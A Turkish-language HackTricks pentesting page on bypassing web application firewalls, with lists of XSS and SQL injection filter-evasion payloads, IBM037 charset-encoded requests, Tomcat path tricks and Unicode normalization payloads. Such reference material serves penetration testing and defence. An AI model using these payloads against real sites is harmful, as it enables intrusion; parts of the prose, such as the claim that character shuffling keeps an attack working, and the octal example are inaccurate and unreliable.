hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-02-10 18:14:16 +00:00

138 lines
9.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WAF Geçişi
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
## Regex Geçişleri
Farklı teknikler, güvenlik duvarlarındaki regex filtrelerini geçmek için kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonu eklemek ve payload'ları kodlamak bulunur. Farklı geçiş teknikleri için [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) ve [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html) kaynaklarına bakabilirsiniz. Aşağıdaki örnekler [bu makaleden](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) alınmıştır.
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Karakter Seti Kodlaması
Charset encoding, web uygulamalarında kullanılan karakterlerin nasıl kodlandığını belirleyen bir mekanizmadır. Bu kodlama, web sunucusu ve tarayıcı arasında karakterlerin doğru bir şekilde iletilmesini sağlar. Ancak, bazı durumlarda karakter seti kodlaması, web uygulamalarının güvenliğini artırmak için kullanılan bir güvenlik önlemi olarak da kullanılabilir.
Web uygulamalarını hedef alan saldırganlar, karakter seti kodlamasını manipüle ederek Web Uygulama Güvenlik Duvarı'nı (WAF) atlayabilirler. Bu, saldırganların zararlı kodları veya saldırı vektörlerini gizlemelerine ve web uygulamasının güvenlik önlemlerini aşmalarına olanak tanır.
WAF bypass teknikleri arasında karakter seti kodlamasını manipüle etmek de bulunur. Saldırganlar, karakter seti kodlamasını değiştirerek zararlı kodları veya saldırı vektörlerini gizleyebilirler. Bu, WAF'ın zararlı içeriği algılamasını zorlaştırır ve saldırganlara web uygulamasına erişim sağlar.
Karakter seti kodlamasını manipüle etmek için çeşitli teknikler bulunur. Bunlar arasında karakter seti dönüşümü, karakter seti kaçışı ve karakter seti karıştırma gibi yöntemler bulunur. Saldırganlar, bu teknikleri kullanarak WAF'ı atlayabilir ve web uygulamasına zarar verebilirler.
Karakter seti kodlaması manipülasyonu, web uygulamalarının güvenlik açıklarını tespit etmek ve kapatmak için kullanılan bir pentesting tekniğidir. Bu teknik, web uygulamalarının güvenliğini artırmak ve saldırılara karşı korumak için önemlidir.
```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
## Obfuskasyon
Obfuskasyon, saldırganların saldırılarını tespit etmek ve engellemek için kullanılan Web Uygulama Güvenlik Duvarı'nı (WAF) atlatmak için kullanılan bir tekniktir. Obfuskasyon, saldırıyı gizlemek veya saldırıyı WAF tarafından algılanmasını zorlaştırmak için kullanılan çeşitli yöntemleri içerir.
### Karakter Kodlaması
Karakter kodlaması, saldırıyı gizlemek için saldırı dizelerini farklı karakterlerle değiştirme işlemidir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır. Örneğin, `<script>` ifadesini `&lt;script&gt;` olarak kodlamak, WAF'ın bu ifadeyi algılamasını engeller.
### Karakter Dizisi Birleştirme
Karakter dizisi birleştirme, saldırı dizelerini birden çok karakter dizisine bölmek ve ardından bu karakter dizilerini birleştirerek saldırıyı gerçekleştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü saldırı dizisi parçalara ayrıldığı için bütün olarak algılanmaz.
### Büyük/Küçük Harf Değiştirme
Büyük/küçük harf değiştirme, saldırı dizelerindeki harfleri büyük veya küçük harflerle değiştirme işlemidir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü harflerin büyük veya küçük olması WAF tarafından farklı şekilde işlenir.
### Boşluk Ekleme
Boşluk ekleme, saldırı dizelerine ekstra boşluk karakterleri eklemektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü eklenen boşluk karakterleri saldırıyı değiştirir ve WAF'ın saldırıyı tanımasını engeller.
### Karakter Dizisi Karıştırma
Karakter dizisi karıştırma, saldırı dizelerindeki karakterleri rastgele sıralamak veya yerlerini değiştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü saldırı dizisi düzeni değiştiği için WAF tarafından tanınmaz.
### HTML Etiketi Ekleme
HTML etiketi ekleme, saldırı dizelerine HTML etiketleri eklemektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü eklenen HTML etiketleri saldırıyı değiştirir ve WAF'ın saldırıyı tanımasını engeller.
### URL Kodlaması
URL kodlaması, saldırı dizelerini URL kodlaması kullanarak değiştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü URL kodlaması kullanılan saldırı dizisi WAF tarafından farklı şekilde işlenir.
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
## Unicode Uyumluluğu
Unicode normalizasyonunun uygulamasına bağlı olarak (daha fazla bilgi için [buraya](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), Unicode uyumluluğunu paylaşan karakterler WAF'ı atlayabilir ve amaçlanan yükü çalıştırabilir. Uyumlu karakterler [burada](https://www.compart.com/en/unicode) bulunabilir.
### Örnek
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
## Boyut Sınırlarını Aşma
Bulut tabanlı WAF'lerde, yük boyutu X'ten büyükse, istek WAF tarafından kontrol edilmez. Bunları atlamak için sadece bunu kullanabilirsiniz.
### IP Dönüşümü
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
</details>